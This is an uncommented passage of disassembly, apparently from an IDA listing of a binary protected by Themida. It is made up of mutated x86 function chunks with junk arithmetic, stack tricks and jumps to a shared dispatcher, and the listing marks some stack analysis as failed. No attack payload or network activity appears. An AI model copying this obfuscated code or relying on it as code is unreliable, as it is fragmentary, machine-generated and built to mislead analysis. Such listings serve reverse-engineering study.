; START OF FUNCTION CHUNK FOR sub_596CA1
loc_58EB3C: ; CODE XREF: sub_596CA1-48D0j
sub ebx, 4
xchg ebx, [esp+2+var_4+2]
pop esp
mov [esp+0], ecx
push 7742h
mov [esp+2+var_4+2], edx
jmp sub_5955A6
; END OF FUNCTION CHUNK FOR sub_596CA1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58EB56: ; CODE XREF: sub_590467-3301j
push eax
mov al, 0B8h
or al, 0DCh
and al, 0B8h
xor al, 95h
jmp loc_592572
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58EB64: ; CODE XREF: Themida_:0058E709j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58EB69: ; CODE XREF: Themida_:00594B26j
not ebp
push ebp
xchg eax, [esp]
jmp loc_595620
; ---------------------------------------------------------------------------
loc_58EB74: ; CODE XREF: Themida_:005937D2j
add eax, 24AF5079h
add eax, ebx
jmp loc_58E32F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58D99C
loc_58EB80: ; CODE XREF: sub_58D99C+334j
push eax
jmp loc_58C064
; END OF FUNCTION CHUNK FOR sub_58D99C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58EB86: ; CODE XREF: sub_5EC2E8-55690j
pop cx
push edx
mov dl, 6Ah
sub dl, 54h
xchg bl, dl
inc bl
xchg bl, dl
sub dl, 1
xor dl, 95h
shr dl, 7
jmp loc_592A61
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58EBA2: ; CODE XREF: Themida_:00590752j
shr dword ptr [esp], cl
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58EBAB: ; CODE XREF: sub_590467+4D4Dj
pop esp
mov word ptr [esp-4+arg_0], cx
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594654
loc_58EBB5: ; CODE XREF: Themida_:005902D6j
; sub_594654+Cj
push esi
mov esi, esp
add esi, 4
add esi, 4
push esi
push [esp+0Ch+var_8]
jmp loc_597CA5
; END OF FUNCTION CHUNK FOR sub_594654
; ---------------------------------------------------------------------------
loc_58EBCB: ; CODE XREF: Themida_:00592E8Fj
inc ebp
neg ebp
push ecx
mov ecx, 0AE48F92Dh
xor ebp, ecx
pop ecx
add eax, ebp
jmp loc_590D12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58EBDE: ; CODE XREF: sub_595E21+1346j
sub esi, 4
xchg esi, [esp-8+arg_4]
pop esp
mov [esp-0Ch+arg_8], edi
push ebx
push 0DD2424h
pop ebx
jmp loc_58CCB7
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_58EBF4: ; CODE XREF: Themida_:0058CF6Ej
mov ecx, edx
mov edi, ecx
pop ecx
jmp loc_59464C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_58EBFE: ; CODE XREF: sub_58B4D6+ABB2j
mov ecx, [esp+8+var_8]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+0Ch+var_C]
pop esp
jmp loc_58E0E0
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
loc_58EC19: ; CODE XREF: Themida_:005910BAj
sub al, 0A2h
push 7B61h
mov [esp], ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_58F880
; ---------------------------------------------------------------------------
loc_58EC39: ; CODE XREF: Themida_:0058C9D4j
not cl
inc cl
sub cl, 73h
sub al, 5Bh
sub al, cl
add al, 5Bh
mov ecx, [esp]
add esp, 4
jmp loc_597668
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58EC51: ; CODE XREF: sub_58C17E+7793j
mov edx, esi
jmp loc_594887
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58EC58: ; CODE XREF: Themida_:00596B58j
mov ebp, 5A654190h
mov edi, 5A654194h
jmp loc_593BBD
; ---------------------------------------------------------------------------
loc_58EC67: ; CODE XREF: Themida_:00591038j
jmp loc_597B97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595258
loc_58EC6C: ; CODE XREF: sub_595258-5963j
sub ebp, 4
xchg ebp, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], edi
push [esp+8+var_4]
jmp loc_58F5AE
; END OF FUNCTION CHUNK FOR sub_595258
; ---------------------------------------------------------------------------
loc_58EC82: ; CODE XREF: Themida_:00597ECBj
add ecx, 4
add ecx, 4
xor ecx, [esp]
jmp loc_5908CC
; =============== S U B R O U T I N E =======================================
sub_58EC96 proc near ; CODE XREF: sub_5955A6-A835j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058BCCD SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00593F42 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005946B3 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00594A61 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059664B SIZE 0000000A BYTES
push ebx
mov bh, 0B8h
jmp loc_594A61
sub_58EC96 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59762D
loc_58EC9E: ; CODE XREF: sub_59762D:loc_58FCCFj
or ebp, 5C967C10h
xor ebp, 0C24EC2BCh
jmp loc_58FC27
; END OF FUNCTION CHUNK FOR sub_59762D
; ---------------------------------------------------------------------------
loc_58ECAF: ; CODE XREF: Themida_:0058C7C3j
; Themida_:00591C1Aj
push ecx
push edx
jmp loc_59036E
; ---------------------------------------------------------------------------
loc_58ECB6: ; CODE XREF: Themida_:0058A85Fj
; Themida_:0058D7DCj
pop edi
add edi, edx
pop edx
push ebx
jmp loc_58E820
; ---------------------------------------------------------------------------
loc_58ECC0: ; CODE XREF: Themida_:0059561Bj
add edi, 30982DD2h
add edi, eax
jmp loc_58FAFD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594FD6
loc_58ECCD: ; CODE XREF: sub_594FD6-9E7Ej
add esp, 4
mov eax, [esp+0Ch+var_C]
add esp, 4
mov [edi+eax*4], dh
pop edx
jmp loc_5954DA
; END OF FUNCTION CHUNK FOR sub_594FD6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F836
loc_58ECE2: ; CODE XREF: sub_58F836+Bj
mov eax, 4D14481Bh
jmp loc_597BCD
; END OF FUNCTION CHUNK FOR sub_58F836
; ---------------------------------------------------------------------------
loc_58ECEC: ; CODE XREF: Themida_:00590ECCj
mov ah, cl
jmp loc_58E597
; ---------------------------------------------------------------------------
loc_58ECF3: ; CODE XREF: Themida_:0058B912j
inc edx
neg edx
not edx
sub edx, 2B25D23Ch
add ebp, edx
pop edx
add ebp, 4
jmp loc_59800F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58ED09: ; CODE XREF: sub_58F5B5+A0Dj
inc ebx
and ebx, 46F23D47h
shl ebx, 4
jmp loc_59008F
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58ED18: ; CODE XREF: sub_58C17E+6440j
push esi
jmp loc_591DEC
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58ED1E: ; CODE XREF: sub_5916C4-194Fj
mov eax, 49C659F5h
inc eax
add eax, 1CC00963h
mov ecx, eax
pop eax
add [esp-4+arg_4], 4A2B204Ah
sub [esp-4+arg_4], ecx
push ebp
mov ebp, 4A2B204Ah
jmp loc_591DF6
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
loc_58ED43: ; CODE XREF: Themida_:00597387j
push dword ptr [esp]
pop eax
push ebp
push 0DD3h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_590FF4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58ED5C: ; CODE XREF: sub_590010-192Dj
sub eax, 1F3B2E91h
sub eax, edx
push edx
mov edx, 1F3B2E91h
jmp loc_59172D
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58ED6E: ; CODE XREF: Themida_:005921D3j
add esp, 4
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58ED79: ; CODE XREF: Themida_:005979E0j
add ecx, 0DBCA3705h
jmp loc_58D4C3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_595E21
loc_58ED84: ; CODE XREF: sub_595E21-3596j
and eax, edi
jmp loc_595791
; END OF FUNCTION CHUNK FOR sub_595E21
; ---------------------------------------------------------------------------
loc_58ED8B: ; CODE XREF: Themida_:005925EFj
add edi, ebx
sub edi, 51BE2264h
pop ebx
sub edi, 4
jmp loc_58EE57
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58ED9C: ; CODE XREF: sub_58C17E-1CB4j
add eax, ebp
pop ebp
xor eax, [esp+4+var_4]
xor [esp+4+var_4], eax
xor eax, [esp+4+var_4]
mov esp, [esp+4+var_4]
push 5963h
mov [esp+8+var_8], edx
mov edx, 0
push esi
push eax
mov eax, 511717Dh
mov esi, 339A70C8h
jmp loc_59263F
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592D25
loc_58EDC9: ; CODE XREF: sub_592D25-884Ej
pop eax
pop ecx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp-4+arg_0]
jmp loc_58C149
; END OF FUNCTION CHUNK FOR sub_592D25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58EDDF: ; CODE XREF: sub_590467+1E04j
jnz sub_597969
push ebx
mov ebx, 0FFFFFFFFh
jmp loc_597DB2
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
mov cl, bh
push edx
; START OF FUNCTION CHUNK FOR sub_595123
loc_58EDF3: ; CODE XREF: sub_595123-7048j
add [esp+18h+var_18], 6B080B9Ah
pop ebp
jmp loc_591765
; END OF FUNCTION CHUNK FOR sub_595123
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58EE00: ; CODE XREF: sub_590010-3D3Dj
pop esi
add edx, 4
xchg edx, [esp-10h+arg_C]
pop esp
sub ebx, 735F566Dh
mov eax, ebx
jmp loc_590BA5
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58EE18: ; CODE XREF: Themida_:00597F22j
inc ecx
jmp loc_593DC3
; ---------------------------------------------------------------------------
loc_58EE1E: ; CODE XREF: Themida_:0058FD4Aj
and dh, 0A5h
jnz loc_591C97
push ebx
push eax
jmp loc_58FE60
; ---------------------------------------------------------------------------
jmp loc_590E5C
; ---------------------------------------------------------------------------
loc_58EE33: ; CODE XREF: Themida_:00595968j
add esi, edx
pop edx
jmp loc_596243
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58EE3B: ; CODE XREF: sub_58C17E+5CBDj
neg esi
neg esi
sub esi, 96BC43E2h
sub ebp, esi
jmp loc_596731
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58EE4C: ; CODE XREF: Themida_:0058DC75j
pop eax
jmp loc_58CE47
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58EE52: ; CODE XREF: sub_58C17E+B116j
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
loc_58EE57: ; CODE XREF: Themida_:0058ED97j
xchg edi, [esp]
jmp loc_58E305
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58EE5F: ; CODE XREF: sub_58F5B5-1228j
pop ecx
push ecx
mov ecx, 42E378FDh
and esi, ecx
jmp loc_595572
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58EE6D: ; CODE XREF: Themida_:0059679Fj
add edi, 603420EBh
shl edi, 1
inc edi
or edi, 3703589Dh
add edi, 8E5204EDh
sub eax, edi
mov edi, [esp]
push esi
mov esi, esp
push ebp
mov ebp, 4
add esi, ebp
pop ebp
add esi, 4
xchg esi, [esp]
mov esp, [esp]
push dword ptr [esp]
pop ecx
add esp, 4
add eax, ebx
push edi
mov edi, 570E658Ch
add eax, edi
pop edi
push edx
mov edx, 75F07021h
sub esp, 4
mov [esp], esi
push 37DAh
mov [esp], ebx
mov ebx, 108702A4h
push ecx
mov ecx, 205E64F5h
add ebx, ecx
pop ecx
mov esi, ebx
jmp loc_596A73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58EEDD: ; CODE XREF: sub_5EC2E8-5FD60j
push [esp+38h+var_38]
pop ebx
jmp loc_5949E4
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
loc_58EEE6: ; CODE XREF: Themida_:00592E49j
pop esi
sub edx, 5BF14809h
add edx, eax
push ebx
mov ebx, 4A1933DDh
inc ebx
sub ebx, 0FA7F1BA1h
add ebx, 3EA9480Eh
jmp loc_58FDCD
; ---------------------------------------------------------------------------
loc_58EF07: ; CODE XREF: Themida_:00591DACj
xor ebp, 0C8391E51h
mov ecx, ebp
pop ebp
and ecx, 34DF6AD7h
jmp loc_58F74F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_58EF1B: ; CODE XREF: sub_5919E2-19DBj
push [esp+10h+var_10]
pop eax
jmp loc_58AF7B
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
loc_58EF24: ; CODE XREF: Themida_:0058D278j
pop esp
or [esp], al
pushf
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58EF2E: ; CODE XREF: Themida_:00595C27j
push ecx
mov ecx, 297A7957h
sub ebp, ecx
pop ecx
add ebp, edx
add ebp, 297A7957h
pop edx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
pop esp
mov edx, [esp]
jmp loc_597773
; =============== S U B R O U T I N E =======================================
sub_58EF52 proc near ; CODE XREF: sub_5938B9-4E3j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0059066E SIZE 00000014 BYTES
sub esp, 4
jmp loc_59066E
sub_58EF52 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_58EF5A: ; CODE XREF: sub_58B4D6+C8D7j
mov edx, 3D0A1743h
neg edx
xor edx, 8F30456h
xor edx, 26F23E8h
shl edx, 5
push ecx
mov ecx, 1
add edx, ecx
pop ecx
add edx, 0A4C4662Bh
sub ebx, edx
pop edx
add edx, ebx
jmp loc_591F71
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
loc_58EF89: ; CODE XREF: Themida_:0058D7EAj
sub dword ptr [esp], 3A87527Eh
add [esp], eax
push ebp
jmp loc_59697D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59089C
loc_58EF99: ; CODE XREF: sub_59089C-28E4j
mov [esp+8+var_8], ebx
xor [esp+8+var_8], 62CB5294h
mov edi, [esp+8+var_8]
add esp, 4
jmp sub_5916C4
; END OF FUNCTION CHUNK FOR sub_59089C
; ---------------------------------------------------------------------------
loc_58EFB1: ; CODE XREF: Themida_:0058F28Cj
; Themida_:00594023j
mov edx, [esp]
add esp, 4
sub edi, 4
jmp loc_590C9A
; ---------------------------------------------------------------------------
loc_58EFC5: ; CODE XREF: Themida_:0058D830j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push ecx
push esp
pop ecx
push edx
mov edx, 4
add ecx, edx
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push edi
mov edi, 4D166A3Eh
sub edi, 1
push edi
xchg edi, [esp]
not edi
xchg edi, [esp]
pop edi
shr edi, 2
sub edi, 2CBA656Ch
add ecx, edi
pop edi
jmp loc_58C262
; =============== S U B R O U T I N E =======================================
sub_58F013 proc near ; CODE XREF: sub_594654-9D5j
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0058CB4F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058DA19 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005927DA SIZE 00000007 BYTES
push ebp
mov ebp, 21CE69F6h
xor ebp, 555F7F6Ch
or ebp, 7CBD6AD2h
not ebp
neg ebp
xor ebp, 7CBD7ED9h
jmp loc_5927DA
sub_58F013 endp
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
push eax
push ebx
jmp loc_591CFF
; ---------------------------------------------------------------------------
loc_58F04D: ; CODE XREF: Themida_:00596775j
inc eax
jz loc_59470C
shl eax, 1
jnp loc_59423F
jmp loc_58A9BC
; ---------------------------------------------------------------------------
loc_58F061: ; CODE XREF: Themida_:0058FC22j
mov dl, al
pop eax
add dl, 1
jmp loc_5925D2
; ---------------------------------------------------------------------------
loc_58F06C: ; CODE XREF: Themida_:0058E7D2j
push ebx
jmp loc_5959D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594131
loc_58F072: ; CODE XREF: sub_594131-75EDj
mov ecx, 4
add edi, ecx
pop ecx
xchg edi, [esp+0]
mov esp, [esp+0]
imul ecx
push edi
sub esp, 4
mov [esp+0], esp
jmp sub_596EB8
; END OF FUNCTION CHUNK FOR sub_594131
; =============== S U B R O U T I N E =======================================
sub_58F091 proc near ; CODE XREF: sub_5916C4+3E3j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058B44B SIZE 00000047 BYTES
; FUNCTION CHUNK AT 0058C5E8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058CA6C SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058CC69 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005902C7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005922A7 SIZE 0000000B BYTES
sub esp, 4
mov [esp+4+var_4], edi
push ebp
mov ebp, 323F51C0h
mov edi, 5BD54765h
jmp loc_5922A7
sub_58F091 endp
; ---------------------------------------------------------------------------
loc_58F0AA: ; CODE XREF: Themida_:00592745j
jnp loc_591DD5
dec dh
jo loc_596A73
xor dh, 0DEh
neg dh
jmp loc_5956D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58F0C2: ; CODE XREF: sub_590467-53B4j
pop esi
sub esp, 4
mov [esp+6+var_6], ecx
jmp loc_593C42
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58F0CE: ; CODE XREF: Themida_:0059008Aj
push dword ptr [esp]
pop esi
push ebx
mov ebx, esp
push ecx
push edx
mov edx, 4EDC2A70h
add edx, 8662843h
jmp loc_594665
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58F0E7: ; CODE XREF: sub_590010+22A3j
push dword ptr [esp+0]
mov edx, [esp-10h+arg_C]
add esp, 4
add esp, 4
push eax
push [esp-14h+arg_14]
pop eax
pop dword ptr [esp+0]
mov esp, [esp-18h+arg_14]
mov word ptr [esp-18h+arg_14], dx
jmp loc_597EC1
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58F10B: ; CODE XREF: Themida_:0058E60Ej
; Themida_:005903A6j ...
xor [esp+0], ebp
xor ebp, [esp+0]
mov esp, [esp+0]
dec word ptr [esp+0]
pushf
jmp loc_59490B
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebp
mov ebp, esp
jmp loc_594566
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58F12A: ; CODE XREF: sub_590010-3A05j
jmp loc_5943F3
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58F12F: ; CODE XREF: sub_59762D-50A1j
; sub_5938B9+1j
mov ebx, 55AA2E27h
not ebx
shl ebx, 3
and ebx, 1EFD4B19h
inc ebx
xor ebx, 5FF232E0h
mov edx, ebx
pop ebx
jmp loc_592804
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
loc_58F14E: ; CODE XREF: Themida_:0058B97Ej
push 4464h
mov [esp], ecx
mov ecx, 570E658Ch
add eax, 456602ACh
sub eax, ecx
jmp loc_596799
; ---------------------------------------------------------------------------
loc_58F167: ; CODE XREF: Themida_:005923FAj
mov esp, [esp]
mov [esp], ebx
jmp loc_594327
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58F172: ; CODE XREF: sub_5916CB+6665j
mov edx, ebp
jmp loc_58E6D0
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_58F179: ; CODE XREF: Themida_:00591A97j
sub ebp, eax
jmp loc_58D06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58F180: ; CODE XREF: Themida_:00590533j
; sub_58F5B5+2E2Bj
add ecx, 0B69BBEEh
jmp loc_59275C
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
loc_58F18B: ; CODE XREF: Themida_:0058B52Cj
not ecx
neg ecx
sub ecx, 0CF9DE84Eh
jmp loc_59164E
; ---------------------------------------------------------------------------
loc_58F19A: ; CODE XREF: Themida_:0058DCB0j
push edx
jmp loc_59541D
; ---------------------------------------------------------------------------
loc_58F1A0: ; CODE XREF: Themida_:00591054j
push 1DF4h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5921B1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58F1B1: ; CODE XREF: Themida_:00591334j
; sub_5916C4+2608j
mov bl, cl
pop ecx
jmp loc_593D33
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5919E2
loc_58F1B9: ; CODE XREF: sub_5919E2+1AAEj
popf
retn
; END OF FUNCTION CHUNK FOR sub_5919E2
; ---------------------------------------------------------------------------
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58F1C0: ; CODE XREF: Themida_:0058C287j
push esi
mov esi, 0DA82AD2h
neg esi
push edi
mov edi, 2AD67250h
jmp loc_597EF0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58F1D3: ; CODE XREF: sub_590010-AE1j
add esp, 4
jmp loc_5944E5
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
loc_58F1DB: ; CODE XREF: Themida_:00593CBCj
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58F1E0: ; CODE XREF: Themida_:00590E78j
mov ebp, 5C510DF5h
shl ebp, 2
jmp loc_596ABF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58C17E
loc_58F1ED: ; CODE XREF: sub_58C17E+5A8Aj
push edx
push ebx
mov ebx, 41E43693h
mov edx, 3344EC10h
add edx, ebx
pop ebx
add ecx, 4D932F13h
sub ecx, edx
sub ecx, 4D932F13h
pop edx
sub ecx, 69122792h
mov edi, [esp+0]
jmp loc_58CE7F
; END OF FUNCTION CHUNK FOR sub_58C17E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58F219: ; CODE XREF: sub_590467-E8Bj
pop ecx
jmp loc_596A6C
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58F21F: ; CODE XREF: sub_5916C4+48EAj
add esi, 952E0913h
xor eax, esi
push [esp-4+arg_0]
jmp loc_592F04
; END OF FUNCTION CHUNK FOR sub_5916C4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5EC2E8
loc_58F22F: ; CODE XREF: sub_5EC2E8-59808j
sub ebx, 14673BEFh
sub esp, 4
mov [esp+3Ch+var_3C], eax
mov eax, 35DC3567h
add ebx, 5D182EA6h
add ebx, eax
sub ebx, 5D182EA6h
mov eax, [esp+3Ch+var_3C]
jmp loc_590682
; END OF FUNCTION CHUNK FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916C4
loc_58F259: ; CODE XREF: sub_5916C4+2D03j
push edx
push 37B046C4h
pop edx
mov eax, 5D4BFF2h
sub eax, 41BC052Ch
add eax, edx
add eax, 41BC052Ch
pop edx
jmp loc_595F9B
; END OF FUNCTION CHUNK FOR sub_5916C4
; =============== S U B R O U T I N E =======================================
sub_58F277 proc near ; CODE XREF: sub_58D0EB+B39j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00592591 SIZE 00000009 BYTES
push ebx
jmp loc_592591
sub_58F277 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_58F27D: ; CODE XREF: Themida_:0058DDEEj
shr esi, 1
jnp loc_590E71
push ecx
mov ecx, 78F71FA3h
push ebp
jmp loc_58EFB1
; ---------------------------------------------------------------------------
mov eax, [edx]
; START OF FUNCTION CHUNK FOR sub_58B4D6
loc_58F293: ; CODE XREF: sub_58B4D6+2295j
add esp, 4
xchg eax, [esp+4+var_4]
pop esp
mov [esp+0], dx
push ax
pushf
jmp loc_58A2CE
; END OF FUNCTION CHUNK FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590467
loc_58F2A6: ; CODE XREF: sub_590467+1CA8j
pop ebx
pop dword ptr [esp+0]
pop esp
jmp loc_58C950
; END OF FUNCTION CHUNK FOR sub_590467
; ---------------------------------------------------------------------------
loc_58F2B0: ; CODE XREF: Themida_:00592B52j
pop eax
jmp loc_58AA0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_590010
loc_58F2B6: ; CODE XREF: sub_590010+3807j
and ecx, ebp
mov ebp, [esp+0]
push edi
mov edi, esp
add edi, 4
push edx
mov edx, 4
add edi, edx
pop edx
jmp loc_58CC74
; END OF FUNCTION CHUNK FOR sub_590010
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5938B9
loc_58F2D2: ; CODE XREF: sub_5938B9-3225j
add esi, 38827CF2h
mov ebp, esi
jmp loc_5903BA
; END OF FUNCTION CHUNK FOR sub_5938B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58F2DF: ; CODE XREF: sub_5916CB+5172j
add eax, 0B13531EBh
not eax
shr eax, 1
inc eax
dec eax
add eax, 0E2DD5393h
xor edx, eax
pop eax
and eax, edx
jmp loc_58E893
; END OF FUNCTION CHUNK FOR sub_5916CB
; ---------------------------------------------------------------------------
loc_58F2F9: ; CODE XREF: Themida_:00594FC0j
xchg edi, ebx
not edi
xchg edi, ebx
jmp loc_58C217
; ---------------------------------------------------------------------------
loc_58F304: ; CODE XREF: Themida_:loc_594098j
add ebp, 3EED7CF3h
mov eax, ebp
mov ebp, [esp]
jmp loc_59297D
; ---------------------------------------------------------------------------
loc_58F314: ; CODE XREF: Themida_:0058B73Fj
shr ah, 5
push edx
push eax
mov al, 7Eh
jmp loc_591A19
; ---------------------------------------------------------------------------
loc_58F320: ; CODE XREF: Themida_:00592122j
jmp loc_58A2CE
; ---------------------------------------------------------------------------
loc_58F325: ; CODE XREF: Themida_:00594E10j
push edx
mov dl, 95h
or bh, dl
pop edx
push dx
mov dl, 43h
sub bh, 0BBh
add bh, dl
add bh, 0BBh
mov dx, [esp]
add esp, 2
push ebx
mov bl, 0Ah
xor bl, 5Eh
sub al, bl
jmp loc_58E810
; ---------------------------------------------------------------------------
loc_58F34B: ; CODE XREF: Themida_:00595017j
push cx
jmp loc_59569D
; ---------------------------------------------------------------------------
loc_58F352: ; CODE XREF: Themida_:0058A612j
mov bl, 64h
add ch, bl
jmp loc_58B63C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F5B5
loc_58F35B: ; CODE XREF: sub_58F5B5+31BDj
add edi, 0CDF452Ch
sub edi, 289E164Ch
shr edi, 8
neg edi
neg edi
jmp loc_59337B
; END OF FUNCTION CHUNK FOR sub_58F5B5
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], edi
jmp loc_593364
; ---------------------------------------------------------------------------
loc_58F385: ; CODE XREF: Themida_:loc_58E300j
; Themida_:0058E44Bj
mov si, 17F2h
sub si, 9A51h
add bx, si
jmp loc_592E4E
; ---------------------------------------------------------------------------
loc_58F396: ; CODE XREF: Themida_:00598013j
and [edi+1Ch], ebp
pop ebp
jmp loc_58A2CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5916CB
loc_58F39F: ; CODE XREF: sub_5916CB-467Fj
add esp, 4
add edx, 35B56B62h
add edx, edi
sub edx, 35B56B62h
push ebx
mov ebx, 6E62DA1h
shl ebx, 6
xor ebx, 58BF62C7h
inc ebx
